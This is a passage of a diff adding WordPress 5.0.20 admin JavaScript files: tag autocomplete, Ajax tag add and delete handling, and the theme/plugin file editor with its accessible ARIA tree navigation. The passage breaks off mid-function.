+					event.preventDefault();
+				} else if ( $.ui.keyCode.ENTER === event.keyCode ) {
+					// Do not close Quick Edit / Bulk Edit
+					event.preventDefault();
+					event.stopPropagation();
+				}
+
+				return false;
+			},
+			open: function() {
+				$element.attr( 'aria-expanded', 'true' );
+			},
+			close: function() {
+				$element.attr( 'aria-expanded', 'false' );
+			},
+			minLength: 2,
+			position: {
+				my: 'left top+2',
+				at: 'left bottom',
+				collision: 'none'
+			},
+			messages: {
+				noResults: window.uiAutocompleteL10n.noResults,
+				results: function( number ) {
+					if ( number > 1 ) {
+						return window.uiAutocompleteL10n.manyResults.replace( '%d', number );
+					}
+
+					return window.uiAutocompleteL10n.oneResult;
+				}
+			}
+		}, options );
+
+		$element.on( 'keydown', function() {
+			$element.removeAttr( 'aria-activedescendant' );
+		} )
+		.autocomplete( options )
+		.autocomplete( 'instance' )._renderItem = function( ul, item ) {
+			return $( '<li role="option" id="wp-tags-autocomplete-' + item.id + '">' )
+				.text( item.name )
+				.appendTo( ul );
+		};
+
+		$element.attr( {
+			'role': 'combobox',
+			'aria-autocomplete': 'list',
+			'aria-expanded': 'false',
+			'aria-owns': $element.autocomplete( 'widget' ).attr( 'id' )
+		} )
+		.on( 'focus', function() {
+			var inputValue = split( $element.val() ).pop();
+
+			// Don't trigger a search if the field is empty.
+			// Also, avoids screen readers announce `No search results`.
+			if ( inputValue ) {
+				$element.autocomplete( 'search' );
+			}
+		} )
+		// Returns a jQuery object containing the menu element.
+		.autocomplete( 'widget' )
+			.addClass( 'wp-tags-autocomplete' )
+			.attr( 'role', 'listbox' )
+			.removeAttr( 'tabindex' ) // Remove the `tabindex=0` attribute added by jQuery UI.
+
+			// Looks like Safari and VoiceOver need an `aria-selected` attribute. See ticket #33301.
+			// The `menufocus` and `menublur` events are the same events used to add and remove
+			// the `ui-state-focus` CSS class on the menu items. See jQuery UI Menu Widget.
+			.on( 'menufocus', function( event, ui ) {
+				ui.item.attr( 'aria-selected', 'true' );
+			})
+			.on( 'menublur', function() {
+				// The `menublur` event returns an object where the item is `null`
+				// so we need to find the active item with other means.
+				$( this ).find( '[aria-selected="true"]' ).removeAttr( 'aria-selected' );
+			});
+
+		return this;
+	};
+
+}( jQuery ) );
Index: /tags/5.0.20/src/wp-admin/js/tags.js
===================================================================
--- /tags/5.0.20/src/wp-admin/js/tags.js	(revision 56912)
+++ /tags/5.0.20/src/wp-admin/js/tags.js	(revision 56912)
@@ -0,0 +1,146 @@
+/* global ajaxurl, wpAjax, tagsl10n, showNotice, validateForm */
+/**
+ * Contains logic for both adding and deleting tags. For deleting tags it makes a request
+ * to the server to delete the tag. For adding tags it makes a request to the server to
+ * add the tag.
+ *
+ * @summary Contains logic for deleting and adding tags
+ */
+
+jQuery(document).ready(function($) {
+
+	/**
+	 * @summary Adds an event handler to the delete term link on the term overview page.
+	 *
+	 * Adds an event handler to the delete term link on the term overview page.
+	 * Cancels default event handling and event bubbling.
+	 *
+	 * @since 2.8.0
+	 *
+	 * @returns boolean Always returns false to cancel the default event handling.
+	 */
+	$( '#the-list' ).on( 'click', '.delete-tag', function() {
+		var t = $(this), tr = t.parents('tr'), r = true, data;
+
+		if ( 'undefined' != showNotice )
+			r = showNotice.warn();
+
+		if ( r ) {
+			data = t.attr('href').replace(/[^?]*\?/, '').replace(/action=delete/, 'action=delete-tag');
+
+			/**
+			 * @summary Makes a request to the server to delete the term that
+			 * corresponds to the delete term button.
+			 *
+			 * @param {string} r The response from the server.
+			 *
+			 * @returns {void}
+			 */
+			$.post(ajaxurl, data, function(r){
+				if ( '1' == r ) {
+					$('#ajax-response').empty();
+					tr.fadeOut('normal', function(){ tr.remove(); });
+
+					/**
+					 * @summary Remove the term from the parent box and the tag cloud
+					 *
+					 * `data.match(/tag_ID=(\d+)/)[1]` matches the term id from the data variable.
+					 * This term id is then used to select the relevant HTML elements:
+					 * The parent box and the tag cloud.
+					 */
+					$('select#parent option[value="' + data.match(/tag_ID=(\d+)/)[1] + '"]').remove();
+					$('a.tag-link-' + data.match(/tag_ID=(\d+)/)[1]).remove();
+
+				} else if ( '-1' == r ) {
+					$('#ajax-response').empty().append('<div class="error"><p>' + tagsl10n.noPerm + '</p></div>');
+					tr.children().css('backgroundColor', '');
+
+				} else {
+					$('#ajax-response').empty().append('<div class="error"><p>' + tagsl10n.broken + '</p></div>');
+					tr.children().css('backgroundColor', '');
+				}
+			});
+
+			tr.children().css('backgroundColor', '#f33');
+		}
+
+		return false;
+	});
+
+	/**
+	 * Adds a deletion confirmation when removing a tag.
+	 *
+	 * @since 4.8.0
+	 *
+	 * @returns {void}
+	 */
+	$( '#edittag' ).on( 'click', '.delete', function( e ) {
+		if ( 'undefined' === typeof showNotice ) {
+			return true;
+		}
+
+		// Confirms the deletion, a negative response means the deletion must not be executed.
+		var response = showNotice.warn();
+		if ( ! response ) {
+			e.preventDefault();
+		}
+	});
+
+	/**
+	 * @summary Adds an event handler tot he form submit on the term overview page.
+	 *
+	 * Cancels default event handling and event bubbling.
+	 *
+	 * @since 2.8.0
+	 *
+	 * @returns boolean Always returns false to cancel the default event handling.
+	 */
+	$('#submit').click(function(){
+		var form = $(this).parents('form');
+
+		if ( ! validateForm( form ) )
+			return false;
+
+		/**
+		 * Does a request to the server to add a new term to the database
+		 *
+		 * @param {string} r The response from the server.
+		 *
+		 * @returns {void}
+		 */
+		$.post(ajaxurl, $('#addtag').serialize(), function(r){
+			var res, parent, term, indent, i;
+
+			$('#ajax-response').empty();
+			res = wpAjax.parseAjaxResponse( r, 'ajax-response' );
+			if ( ! res || res.errors )
+				return;
+
+			parent = form.find( 'select#parent' ).val();
+
+			if ( parent > 0 && $('#tag-' + parent ).length > 0 ) // If the parent exists on this page, insert it below. Else insert it at the top of the list.
+				$( '.tags #tag-' + parent ).after( res.responses[0].supplemental.noparents ); // As the parent exists, Insert the version with - - - prefixed
+			else
+				$( '.tags' ).prepend( res.responses[0].supplemental.parents ); // As the parent is not visible, Insert the version with Parent - Child - ThisTerm
+
+			$('.tags .no-items').remove();
+
+			if ( form.find('select#parent') ) {
+				// Parents field exists, Add new term to the list.
+				term = res.responses[1].supplemental;
+
+				// Create an indent for the Parent field
+				indent = '';
+				for ( i = 0; i < res.responses[1].position; i++ )
+					indent += '&nbsp;&nbsp;&nbsp;';
+
+				form.find( 'select#parent option:selected' ).after( '<option value="' + term.term_id + '">' + indent + term.name + '</option>' );
+			}
+
+			$('input[type="text"]:visible, textarea:visible', form).val('');
+		});
+
+		return false;
+	});
+
+});
Index: /tags/5.0.20/src/wp-admin/js/theme-plugin-editor.js
===================================================================
--- /tags/5.0.20/src/wp-admin/js/theme-plugin-editor.js	(revision 56912)
+++ /tags/5.0.20/src/wp-admin/js/theme-plugin-editor.js	(revision 56912)
@@ -0,0 +1,991 @@
+/* eslint no-magic-numbers: ["error", { "ignore": [-1, 0, 1] }] */
+
+if ( ! window.wp ) {
+	window.wp = {};
+}
+
+wp.themePluginEditor = (function( $ ) {
+	'use strict';
+	var component, TreeLinks;
+
+	component = {
+		l10n: {
+			lintError: {
+				singular: '',
+				plural: ''
+			},
+			saveAlert: '',
+			saveError: ''
+		},
+		codeEditor: {},
+		instance: null,
+		noticeElements: {},
+		dirty: false,
+		lintErrors: []
+	};
+
+	/**
+	 * Initialize component.
+	 *
+	 * @since 4.9.0
+	 *
+	 * @param {jQuery}         form - Form element.
+	 * @param {object}         settings - Settings.
+	 * @param {object|boolean} settings.codeEditor - Code editor settings (or `false` if syntax highlighting is disabled).
+	 * @returns {void}
+	 */
+	component.init = function init( form, settings ) {
+
+		component.form = form;
+		if ( settings ) {
+			$.extend( component, settings );
+		}
+
+		component.noticeTemplate = wp.template( 'wp-file-editor-notice' );
+		component.noticesContainer = component.form.find( '.editor-notices' );
+		component.submitButton = component.form.find( ':input[name=submit]' );
+		component.spinner = component.form.find( '.submit .spinner' );
+		component.form.on( 'submit', component.submit );
+		component.textarea = component.form.find( '#newcontent' );
+		component.textarea.on( 'change', component.onChange );
+		component.warning = $( '.file-editor-warning' );
+
+		if ( component.warning.length > 0 ) {
+			component.showWarning();
+		}
+
+		if ( false !== component.codeEditor ) {
+			/*
+			 * Defer adding notices until after DOM ready as workaround for WP Admin injecting
+			 * its own managed dismiss buttons and also to prevent the editor from showing a notice
+			 * when the file had linting errors to begin with.
+			 */
+			_.defer( function() {
+				component.initCodeEditor();
+			} );
+		}
+
+		$( component.initFileBrowser );
+
+		$( window ).on( 'beforeunload', function() {
+			if ( component.dirty ) {
+				return component.l10n.saveAlert;
+			}
+			return undefined;
+		} );
+	};
+
+	/**
+	 * Set up and display the warning modal.
+	 *
+	 * @since 4.9.0
+	 * @returns {void}
+	 */
+	component.showWarning = function() {
+		// Get the text within the modal.
+		var rawMessage = component.warning.find( '.file-editor-warning-message' ).text();
+		// Hide all the #wpwrap content from assistive technologies.
+		$( '#wpwrap' ).attr( 'aria-hidden', 'true' );
+		// Detach the warning modal from its position and append it to the body.
+		$( document.body )
+			.addClass( 'modal-open' )
+			.append( component.warning.detach() );
+		// Reveal the modal and set focus on the go back button.
+		component.warning
+			.removeClass( 'hidden' )
+			.find( '.file-editor-warning-go-back' ).focus();
+		// Get the links and buttons within the modal.
+		component.warningTabbables = component.warning.find( 'a, button' );
+		// Attach event handlers.
+		component.warningTabbables.on( 'keydown', component.constrainTabbing );
+		component.warning.on( 'click', '.file-editor-warning-dismiss', component.dismissWarning );
+		// Make screen readers announce the warning message after a short delay (necessary for some screen readers).
+		setTimeout( function() {
+			wp.a11y.speak( wp.sanitize.stripTags( rawMessage.replace( /\s+/g, ' ' ) ), 'assertive' );
+		}, 1000 );
+	};
+
+	/**
+	 * Constrain tabbing within the warning modal.
+	 *
+	 * @since 4.9.0
+	 * @param {object} event jQuery event object.
+	 * @returns {void}
+	 */
+	component.constrainTabbing = function( event ) {
+		var firstTabbable, lastTabbable;
+
+		if ( 9 !== event.which ) {
+			return;
+		}
+
+		firstTabbable = component.warningTabbables.first()[0];
+		lastTabbable = component.warningTabbables.last()[0];
+
+		if ( lastTabbable === event.target && ! event.shiftKey ) {
+			firstTabbable.focus();
+			event.preventDefault();
+		} else if ( firstTabbable === event.target && event.shiftKey ) {
+			lastTabbable.focus();
+			event.preventDefault();
+		}
+	};
+
+	/**
+	 * Dismiss the warning modal.
+	 *
+	 * @since 4.9.0
+	 * @returns {void}
+	 */
+	component.dismissWarning = function() {
+
+		wp.ajax.post( 'dismiss-wp-pointer', {
+			pointer: component.themeOrPlugin + '_editor_notice'
+		});
+
+		// Hide modal.
+		component.warning.remove();
+		$( '#wpwrap' ).removeAttr( 'aria-hidden' );
+		$( 'body' ).removeClass( 'modal-open' );
+	};
+
+	/**
+	 * Callback for when a change happens.
+	 *
+	 * @since 4.9.0
+	 * @returns {void}
+	 */
+	component.onChange = function() {
+		component.dirty = true;
+		component.removeNotice( 'file_saved' );
+	};
+
+	/**
+	 * Submit file via Ajax.
+	 *
+	 * @since 4.9.0
+	 * @param {jQuery.Event} event - Event.
+	 * @returns {void}
+	 */
+	component.submit = function( event ) {
+		var data = {}, request;
+		event.preventDefault(); // Prevent form submission in favor of Ajax below.
+		$.each( component.form.serializeArray(), function() {
+			data[ this.name ] = this.value;
+		} );
+
+		// Use value from codemirror if present.
+		if ( component.instance ) {
+			data.newcontent = component.instance.codemirror.getValue();
+		}
+
+		if ( component.isSaving ) {
+			return;
+		}
+
+		// Scroll ot the line that has the error.
+		if ( component.lintErrors.length ) {
+			component.instance.codemirror.setCursor( component.lintErrors[0].from.line );
+			return;
+		}
+
+		component.isSaving = true;
+		component.textarea.prop( 'readonly', true );
+		if ( component.instance ) {
+			component.instance.codemirror.setOption( 'readOnly', true );
+		}
+
+		component.spinner.addClass( 'is-active' );
+		request = wp.ajax.post( 'edit-theme-plugin-file', data );
+
+		// Remove previous save notice before saving.
+		if ( component.lastSaveNoticeCode ) {
+			component.removeNotice( component.lastSaveNoticeCode );
+		}
+
+		request.done( function( response ) {
+			component.lastSaveNoticeCode = 'file_saved';
+			component.addNotice({
+				code: component.lastSaveNoticeCode,
+				type: 'success',
+				message: response.message,
+				dismissible: true
+			});
+			component.dirty = false;
+		} );
+
+		request.fail( function( response ) {
+			var notice = $.extend(
+				{
+					code: 'save_error',
+					message: component.l10n.saveError
+				},
+				response,
+				{
+					type: 'error',
+					dismissible: true
+				}
+			);
+			component.lastSaveNoticeCode = notice.code;
+			component.addNotice( notice );
+		} );
+
+		request.always( function() {
+			component.spinner.removeClass( 'is-active' );
+			component.isSaving = false;
+
+			component.textarea.prop( 'readonly', false );
+			if ( component.instance ) {
+				component.instance.codemirror.setOption( 'readOnly', false );
+			}
+		} );
+	};
+
+	/**
+	 * Add notice.
+	 *
+	 * @since 4.9.0
+	 *
+	 * @param {object}   notice - Notice.
+	 * @param {string}   notice.code - Code.
+	 * @param {string}   notice.type - Type.
+	 * @param {string}   notice.message - Message.
+	 * @param {boolean}  [notice.dismissible=false] - Dismissible.
+	 * @param {Function} [notice.onDismiss] - Callback for when a user dismisses the notice.
+	 * @returns {jQuery} Notice element.
+	 */
+	component.addNotice = function( notice ) {
+		var noticeElement;
+
+		if ( ! notice.code ) {
+			throw new Error( 'Missing code.' );
+		}
+
+		// Only let one notice of a given type be displayed at a time.
+		component.removeNotice( notice.code );
+
+		noticeElement = $( component.noticeTemplate( notice ) );
+		noticeElement.hide();
+
+		noticeElement.find( '.notice-dismiss' ).on( 'click', function() {
+			component.removeNotice( notice.code );
+			if ( notice.onDismiss ) {
+				notice.onDismiss( notice );
+			}
+		} );
+
+		wp.a11y.speak( notice.message );
+
+		component.noticesContainer.append( noticeElement );
+		noticeElement.slideDown( 'fast' );
+		component.noticeElements[ notice.code ] = noticeElement;
+		return noticeElement;
+	};
+
+	/**
+	 * Remove notice.
+	 *
+	 * @since 4.9.0
+	 *
+	 * @param {string} code - Notice code.
+	 * @returns {boolean} Whether a notice was removed.
+	 */
+	component.removeNotice = function( code ) {
+		if ( component.noticeElements[ code ] ) {
+			component.noticeElements[ code ].slideUp( 'fast', function() {
+				$( this ).remove();
+			} );
+			delete component.noticeElements[ code ];
+			return true;
+		}
+		return false;
+	};
+
+	/**
+	 * Initialize code editor.
+	 *
+	 * @since 4.9.0
+	 * @returns {void}
+	 */
+	component.initCodeEditor = function initCodeEditor() {
+		var codeEditorSettings, editor;
+
+		codeEditorSettings = $.extend( {}, component.codeEditor );
+
+		/**
+		 * Handle tabbing to the field before the editor.
+		 *
+		 * @since 4.9.0
+		 *
+		 * @returns {void}
+		 */
+		codeEditorSettings.onTabPrevious = function() {
+			$( '#templateside' ).find( ':tabbable' ).last().focus();
+		};
+
+		/**
+		 * Handle tabbing to the field after the editor.
+		 *
+		 * @since 4.9.0
+		 *
+		 * @returns {void}
+		 */
+		codeEditorSettings.onTabNext = function() {
+			$( '#template' ).find( ':tabbable:not(.CodeMirror-code)' ).first().focus();
+		};
+
+		/**
+		 * Handle change to the linting errors.
+		 *
+		 * @since 4.9.0
+		 *
+		 * @param {Array} errors - List of linting errors.
+		 * @returns {void}
+		 */
+		codeEditorSettings.onChangeLintingErrors = function( errors ) {
+			component.lintErrors = errors;
+
+			// Only disable the button in onUpdateErrorNotice when there are errors so users can still feel they can click the button.
+			if ( 0 === errors.length ) {
+				component.submitButton.toggleClass( 'disabled', false );
+			}
+		};
+
+		/**
+		 * Update error notice.
+		 *
+		 * @since 4.9.0
+		 *
+		 * @param {Array} errorAnnotations - Error annotations.
+		 * @returns {void}
+		 */
+		codeEditorSettings.onUpdateErrorNotice = function onUpdateErrorNotice( errorAnnotations ) {
+			var message, noticeElement;
+
+			component.submitButton.toggleClass( 'disabled', errorAnnotations.length > 0 );
+
+			if ( 0 !== errorAnnotations.length ) {
+				if ( 1 === errorAnnotations.length ) {
+					message = component.l10n.lintError.singular.replace( '%d', '1' );
+				} else {
+					message = component.l10n.lintError.plural.replace( '%d', String( errorAnnotations.length ) );
+				}
+				noticeElement = component.addNotice({
+					code: 'lint_errors',
+					type: 'error',
+					message: message,
+					dismissible: false
+				});
+				noticeElement.find( 'input[type=checkbox]' ).on( 'click', function() {
+					codeEditorSettings.onChangeLintingErrors( [] );
+					component.removeNotice( 'lint_errors' );
+				} );
+			} else {
+				component.removeNotice( 'lint_errors' );
+			}
+		};
+
+		editor = wp.codeEditor.initialize( $( '#newcontent' ), codeEditorSettings );
+		editor.codemirror.on( 'change', component.onChange );
+
+		// Improve the editor accessibility.
+		$( editor.codemirror.display.lineDiv )
+			.attr({
+				role: 'textbox',
+				'aria-multiline': 'true',
+				'aria-labelledby': 'theme-plugin-editor-label',
+				'aria-describedby': 'editor-keyboard-trap-help-1 editor-keyboard-trap-help-2 editor-keyboard-trap-help-3 editor-keyboard-trap-help-4'
+			});
+
+		// Focus the editor when clicking on its label.
+		$( '#theme-plugin-editor-label' ).on( 'click', function() {
+			editor.codemirror.focus();
+		});
+
+		component.instance = editor;
+	};
+
+	/**
+	 * Initialization of the file browser's folder states.
+	 *
+	 * @since 4.9.0
+	 * @returns {void}
+	 */
+	component.initFileBrowser = function initFileBrowser() {
+
+		var $templateside = $( '#templateside' );
+
+		// Collapse all folders.
+		$templateside.find( '[role="group"]' ).parent().attr( 'aria-expanded', false );
+
+		// Expand ancestors to the current file.
+		$templateside.find( '.notice' ).parents( '[aria-expanded]' ).attr( 'aria-expanded', true );
+
+		// Find Tree elements and enhance them.
+		$templateside.find( '[role="tree"]' ).each( function() {
+			var treeLinks = new TreeLinks( this );
+			treeLinks.init();
+		} );
+
+		// Scroll the current file into view.
+		$templateside.find( '.current-file:first' ).each( function() {
+			if ( this.scrollIntoViewIfNeeded ) {
+				this.scrollIntoViewIfNeeded();
+			} else {
+				this.scrollIntoView( false );
+			}
+		} );
+	};
+
+	/* jshint ignore:start */
+	/* jscs:disable */
+	/* eslint-disable */
+
+	/**
+	 * Creates a new TreeitemLink.
+	 *
+	 * @since 4.9.0
+	 * @class
+	 * @private
+	 * @see {@link https://www.w3.org/TR/wai-aria-practices-1.1/examples/treeview/treeview-2/treeview-2b.html|W3C Treeview Example}
+	 * @license W3C-20150513
+	 */
+	var TreeitemLink = (function () {
+		/**
+		 *   This content is licensed according to the W3C Software License at
+		 *   https://www.w3.org/Consortium/Legal/2015/copyright-software-and-document
+		 *
+		 *   File:   TreeitemLink.js
+		 *
+		 *   Desc:   Treeitem widget that implements ARIA Authoring Practices
+		 *           for a tree being used as a file viewer
+		 *
+		 *   Author: Jon Gunderson, Ku Ja Eun and Nicholas Hoyt
+		 */
+
+		/**
+		 *   @constructor
+		 *
+		 *   @desc
+		 *       Treeitem object for representing the state and user interactions for a
+		 *       treeItem widget
+		 *
+		 *   @param node
+		 *       An element with the role=tree attribute
+		 */
+
+		var TreeitemLink = function (node, treeObj, group) {
+
+			// Check whether node is a DOM element
+			if (typeof node !== 'object') {
+				return;
+			}
+
+			node.tabIndex = -1;
+			this.tree = treeObj;
+			this.groupTreeitem = group;
+			this.domNode = node;
+			this.label = node.textContent.trim();
+			this.stopDefaultClick = false;
+
+			if (node.getAttribute('aria-label')) {
+				this.label = node.getAttribute('aria-label').trim();
+			}
+
+			this.isExpandable = false;
+			this.isVisible = false;
+			this.inGroup = false;
+
+			if (group) {
+				this.inGroup = true;
+			}
+
+			var elem = node.firstElementChild;
+
+			while (elem) {
+
+				if (elem.tagName.toLowerCase() == 'ul') {
+					elem.setAttribute('role', 'group');
+					this.isExpandable = true;
+					break;
+				}
+
+				elem = elem.nextElementSibling;
+			}
+
+			this.keyCode = Object.freeze({
+				RETURN: 13,
+				SPACE: 32,
+				PAGEUP: 33,
+				PAGEDOWN: 34,
+				END: 35,
+				HOME: 36,
+				LEFT: 37,
+				UP: 38,
+				RIGHT: 39,
+				DOWN: 40
+			});
+		};
+
+		TreeitemLink.prototype.init = function () {
+			this.domNode.tabIndex = -1;
+
+			if (!this.domNode.getAttribute('role')) {
+				this.domNode.setAttribute('role', 'treeitem');
+			}
+
+			this.domNode.addEventListener('keydown', this.handleKeydown.bind(this));
+			this.domNode.addEventListener('click', this.handleClick.bind(this));
+			this.domNode.addEventListener('focus', this.handleFocus.bind(this));
+			this.domNode.addEventListener('blur', this.handleBlur.bind(this));
+
+			if (this.isExpandable) {
+				this.domNode.firstElementChild.addEventListener('mouseover', this.handleMouseOver.bind(this));
+				this.domNode.firstElementChild.addEventListener('mouseout', this.handleMouseOut.bind(this));
+			}
+			else {
+				this.domNode.addEventListener('mouseover', this.handleMouseOver.bind(this));
+				this.domNode.addEventListener('mouseout', this.handleMouseOut.bind(this));
+			}
+		};
+
+		TreeitemLink.prototype.isExpanded = function () {
+
+			if (this.isExpandable) {
+				return this.domNode.getAttribute('aria-expanded') === 'true';
+			}
+
+			return false;
+
+		};
+
+		/* EVENT HANDLERS */
+
+		TreeitemLink.prototype.handleKeydown = function (event) {
+			var tgt = event.currentTarget,
+				flag = false,
+				_char = event.key,
+				clickEvent;
+
+			function isPrintableCharacter(str) {
+				return str.length === 1 && str.match(/\S/);
+			}
+
+			function printableCharacter(item) {
+				if (_char == '*') {
+					item.tree.expandAllSiblingItems(item);
+					flag = true;
+				}
+				else {
+					if (isPrintableCharacter(_char)) {
+						item.tree.setFocusByFirstCharacter(item, _char);
+						flag = true;
+					}
+				}
+			}
+
+			this.stopDefaultClick = false;
+
+			if (event.altKey || event.ctrlKey || event.metaKey) {
+				return;
+			}
+
+			if (event.shift) {
+				if (event.keyCode == this.keyCode.SPACE || event.keyCode == this.keyCode.RETURN) {
+					event.stopPropagation();
+					this.stopDefaultClick = true;
+				}
+				else {
+					if (isPrintableCharacter(_char)) {
+						printableCharacter(this);
+					}
+				}
+			}
+			else {
+				switch (event.keyCode) {
+					case this.keyCode.SPACE:
+					case this.keyCode.RETURN:
+						if (this.isExpandable) {
+							if (this.isExpanded()) {
+								this.tree.collapseTreeitem(this);
+							}
+							else {
+								this.tree.expandTreeitem(this);
+							}
+							flag = true;
+						}
+						else {
+							event.stopPropagation();
+							this.stopDefaultClick = true;
+						}
+						break;
+
+					case this.keyCode.UP:
+						this.tree.setFocusToPreviousItem(this);
+						flag = true;
+						break;
+
+					case this.keyCode.DOWN:
+						this.tree.setFocusToNextItem(this);
+						flag = true;
+						break;
+
+					case this.keyCode.RIGHT:
+						if (this.isExpandable) {
+							if (this.isExpanded()) {
+								this.tree.setFocusToNextItem(this);
+							}
+							else {
+								this.tree.expandTreeitem(this);
+							}
+						}
+						flag = true;
+						break;
+
+					case this.keyCode.LEFT:
+						if (this.isExpandable && this.isExpanded()) {
+							this.tree.collapseTreeitem(this);
+							flag = true;
+						}
+						else {
+							if (this.inGroup) {
+								this.tree.setFocusToParentItem(this);
+								flag = true;
+							}
+						}
+						break;
+
+					case this.keyCode.HOME:
+						this.tree.setFocusToFirstItem();
+						flag = true;
+						break;
+
+					case this.keyCode.END:
+						this.tree.setFocusToLastItem();
+						flag = true;
+						break;
+
+					default:
+						if (isPrintableCharacter(_char)) {
+							printableCharacter(this);
+						}
+						break;
+				}
+			}
+
+			if (flag) {
+				event.stopPropagation();
+				event.preventDefault();
+			}
+		};
+
+		TreeitemLink.prototype.handleClick = function (event) {
+
+			// only process click events that directly happened on this treeitem
+			if (event.target !== this.domNode && event.target !== this.domNode.firstElementChild) {
+				return;
+			}
+
+			if (this.isExpandable) {
+				if (this.isExpanded()) {
+					this.tree.collapseTreeitem(this);
+				}
+				else {
+					this.tree.expandTreeitem(this);
+				}
+				event.stopPropagation();
+			}
+		};
+
+		TreeitemLink.prototype.handleFocus = function (event) {
+			var node = this.domNode;
+			if (this.isExpandable) {
+				node = node.firstElementChild;
+			}
+			node.classList.add('focus');
+		};
+
+		TreeitemLink.prototype.handleBlur = function (event) {
+			var node = this.domNode;
+			if (this.isExpandable) {
+				node = node.firstElementChild;
+			}
+			node.classList.remove('focus');
+		};
+
+		TreeitemLink.prototype.handleMouseOver = function (event) {
+			event.currentTarget.classList.add('hover');
+		};
+
+		TreeitemLink.prototype.handleMouseOut = function (event) {
+			event.currentTarget.classList.remove('hover');
+		};
+
+		return TreeitemLink;
+	})();
+
+	/**
+	 * Creates a new TreeLinks.
+	 *
+	 * @since 4.9.0
+	 * @class
+	 * @private
+	 * @see {@link https://www.w3.org/TR/wai-aria-practices-1.1/examples/treeview/treeview-2/treeview-2b.html|W3C Treeview Example}
+	 * @license W3C-20150513
+	 */
+	TreeLinks = (function () {
+		/*
+		 *   This content is licensed according to the W3C Software License at
+		 *   https://www.w3.org/Consortium/Legal/2015/copyright-software-and-document
+		 *
+		 *   File:   TreeLinks.js
+		 *
+		 *   Desc:   Tree widget that implements ARIA Authoring Practices
+		 *           for a tree being used as a file viewer
+		 *
+		 *   Author: Jon Gunderson, Ku Ja Eun and Nicholas Hoyt
+		 */
+
+		/*
+		 *   @constructor
+		 *
+		 *   @desc
+		 *       Tree item object for representing the state and user interactions for a
+		 *       tree widget
+		 *
+		 *   @param node
+		 *       An element with the role=tree attribute
+		 */
+
+		var TreeLinks = function (node) {
+			// Check whether node is a DOM element
+			if (typeof node !== 'object') {
+				return;
+			}
+
+			this.domNode = node;
+
+			this.treeitems = [];
+			this.firstChars = [];
+
+			this.firstTreeitem = null;
+			this.lastTreeitem = null;
+
+		};
+
+		TreeLinks.prototype.init = function () {
+
+			function findTreeitems(node, tree, group) {
+
+				var elem = node.firstElementChild;
+				var ti = group;
+
+				while (elem) {
+
+					if ((elem.tagName.toLowerCase() === 'li' && elem.firstElementChild.tagName.toLowerCase() === 'span') || elem.tagName.toLowerCase() === 'a') {
+						ti = new TreeitemLink(elem, tree, group);
+						ti.init();
+						tree.treeitems.push(ti);
+						tree.firstChars.push(ti.label.substring(0, 1).toLowerCase());
+					}
+
+					if (elem.firstElementChild) {
+						findTreeitems(elem, tree, ti);
+					}
+
+					elem = elem.nextElementSibling;
+				}
+			}
+
+			// initialize pop up menus
+			if (!this.domNode.getAttribute('role')) {
+				this.domNode.setAttribute('role', 'tree');
+			}
+
+			findTreeitems(this.domNode, this, false);
+
+			this.updateVisibleTreeitems();
+
+			this.firstTreeitem.domNode.tabIndex = 0;
+
+		};
+
+		TreeLinks.prototype.setFocusToItem = function (treeitem) {
+
+			for (var i = 0; i < this.treeitems.length; i++) {
+				var ti = this.treeitems[i];
+
+				if (ti === treeitem) {
+					ti.domNode.tabIndex = 0;
+					ti.domNode.focus();
+				}
+				else {
+					ti.domNode.tabIndex = -1;
+				}
+			}
+
+		};
+
+		TreeLinks.prototype.setFocusToNextItem = function (currentItem) {
+
+			var nextItem = false;
+
+			for (var i = (this.treeitems.length - 1); i >= 0; i--) {
+				var ti = this.treeitems[i];
+				if (ti === currentItem) {
+					break;
+				}
+				if (ti.isVisible) {
+					nextItem = ti;
+				}
+			}
+
+			if (nextItem) {
+				this.setFocusToItem(nextItem);
+			}
+
+		};
+
+		TreeLinks.prototype.setFocusToPreviousItem = function (currentItem) {
+
+			var prevItem = false;
+
+			for (var i = 0; i < this.treeitems.length; i++) {
+				var ti = this.treeitems[i];
+				if (ti === currentItem) {
+					break;
+				}
+				if (ti.isVisible) {
+					prevItem = ti;
+				}
+			}
+
+			if (prevItem) {
+				this.setFocusToItem(prevItem);
+			}
+		};
+
+		TreeLinks.prototype.setFocusToParentItem = function (currentItem) {
+
+			if (currentItem.groupTreeitem) {
+				this.setFocusToItem(currentItem.groupTreeitem);
+			}
+		};
+
+		TreeLinks.prototype.setFocusToFirstItem = function () {
+			this.setFocusToItem(this.firstTreeitem);
+		};
+
+		TreeLinks.prototype.setFocusToLastItem = function () {
+			this.setFocusToItem(this.lastTreeitem);
+		};
+
+		TreeLinks.prototype.expandTreeitem = function (currentItem) {
+
+			if (currentItem.isExpandable) {
+				currentItem.domNode.setAttribute('aria-expanded', true);
+				this.updateVisibleTreeitems();
+			}
+
+		};
+
+		TreeLinks.prototype.expandAllSiblingItems = function (currentItem) {
+			for (var i = 0; i < this.treeitems.length; i++) {
+				var ti = this.treeitems[i];
+
+				if ((ti.groupTreeitem === currentItem.groupTreeitem) && ti.isExpandable) {
+					this.expandTreeitem(ti);
+				}
+			}
+
+		};
+
+		TreeLinks.prototype.collapseTreeitem = function (currentItem) {
+
+			var groupTreeitem = false;
+
+			if (currentItem.isExpanded()) {
+				groupTreeitem = currentItem;
+			}
+			else {
+				groupTreeitem = currentItem.groupTreeitem;
+			}
+
+			if (groupTreeitem) {
+				groupTreeitem.domNode.setAttribute('aria-expanded', false);
+				this.updateVisibleTreeitems();
+				this.setFocusToItem(groupTreeitem);
+			}
+
+		};
+
+		TreeLinks.prototype.updateVisibleTreeitems = function () {
+
+			this.firstTreeitem = this.treeitems[0];
+
+			for (var i = 0; i < this.treeitems.length; i++) {
+				var ti = this.treeitems[i];
+
+				var parent = ti.domNode.parentNode;
+
+				ti.isVisible = true;
+
+				while (parent && (parent !== this.domNode)) {
+
+					if (parent.getAttribute('aria-expanded') == 'false') {
+						ti.isVisible = false;
+					}
+					parent = parent.parentNode;
+				}
+
+				if (ti.isVisible) {
+					this.lastTreeitem = ti;
+				}
+			}
+
+		};
+
+		TreeLinks.prototype.setFocusByFirstCharacter = function (currentItem, _char) {
+			var start, index;
+			_char = _char.toLowerCase();
+
+			// Get start index for search based on position of currentItem
+			start = this.treeitems.indexOf(currentItem) + 1;
+			if (start === this.treeitems.length) {
+				start = 0;
+			}
+
+			// Check remaining slots in the menu
+			index = this.getIndexFirstChars(start, _char);
+
+			// If not found in remaining slots, check from beginning
+			if (index === -1) {
+				index = this.getIndexFirstChars(0, _char);
+			}
+
+			// If match was found...
+			if (index > -1) {
+				this.setFocusToItem(this.treeitems[index]);
+			}
+		};
+
+		TreeLinks.prototype.getIndexFirstChars = function (startIndex, _char) {
